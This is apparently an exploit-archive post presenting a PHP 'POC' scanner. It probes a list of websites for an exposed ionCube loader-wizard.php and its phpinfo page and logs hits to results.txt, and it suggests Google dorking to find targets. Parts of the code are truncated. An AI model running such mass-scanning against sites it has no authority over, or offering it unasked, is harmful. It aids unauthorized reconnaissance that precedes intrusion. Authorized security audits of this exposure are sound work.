=============================================================================================================================================
| # Title : ionCube Loader Wizard v 14.4.0 Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 137.0.1 (64 bits) |
| # Vendor : https://www.ioncube.com/loaders.php |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: This tool tested on 2.35, for ionCube Loader Wizard, scans the target for the installation file and displays PHP info to gather more information about the target.
Check the set of sites you are accessing through the interface.
About the file: loader-wizard.php
Inside large stores (such as /ioncube/, /tools/, etc.).
Check if the phpinfo() page is embedded
Displays results directly in your browser.
Detects sites with vulnerabilities related to the ionCube Loader Wizard.
Targets exposed phpinfo (useful for gathering information).
Security analysis and security audits for a group of sites.
Results are stored in a results.txt text file.
[+] save code as poc.php.
[+] Set TArget : 127.0.0.1/poc.php
[+] PayLoad :
فاحص مواقع loader-wizard.php و phpinfo المكشوف
🛡️ فاحص loader-wizard.php + صفحة phpinfo المكشوفة
📋 نتائج الفحص:
';
foreach ($sites as $site) {
$site = trim($site);
if (!$site) continue;
if (!preg_match("#^https?://#", $site)) $site = "http://$site";
$report .= "🌐 الموقع: $site\n";
echo "🌐 الموقع: $site\n";
$found = false;
foreach ($paths as $path) {
$url = rtrim($site, '/') . $path;
$headers = @get_headers($url);
if ($headers && strpos($headers[0], '200') !== false) {
$content = @file_get_contents($url);
if ($content && strpos($content, 'ionCube') !== false) {
$msg = "⚠️ تم العثور على loader-wizard.php في: $url\n";
echo $msg;
$report .= $msg;
$found = true;
break;
}
}
}
$phpinfo_url = rtrim($site, '/') . "/ioncube/loader-wizard.php?page=phpinfo";
$headers = @get_headers($phpinfo_url);
if ($headers && strpos($headers[0], '200') !== false) {
$content = @file_get_contents($phpinfo_url);
if ($content && strpos($content, 'PHP Version') !== false && strpos($content, 'Configuration') !== false) {
$msg = "🔍 ⚠️ صفحة phpinfo مكشوفة في: $phpinfo_url\n";
echo $msg;
$report .= $msg;
$found = true;
}
}
if (!$found) {
$msg = "✅ لا يوجد ملف loader-wizard.php أو صفحة phpinfo مكشوفة.\n";
echo $msg;
$report .= $msg;
}
$report .= str_repeat("-", 50) . "\n";
echo str_repeat("-", 50) . "\n";
}
// حفظ النتائج في ملف TXT
file_put_contents("results.txt", $report);
echo "
📁 تم حفظ النتائج في ملف results.txt";
echo '';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================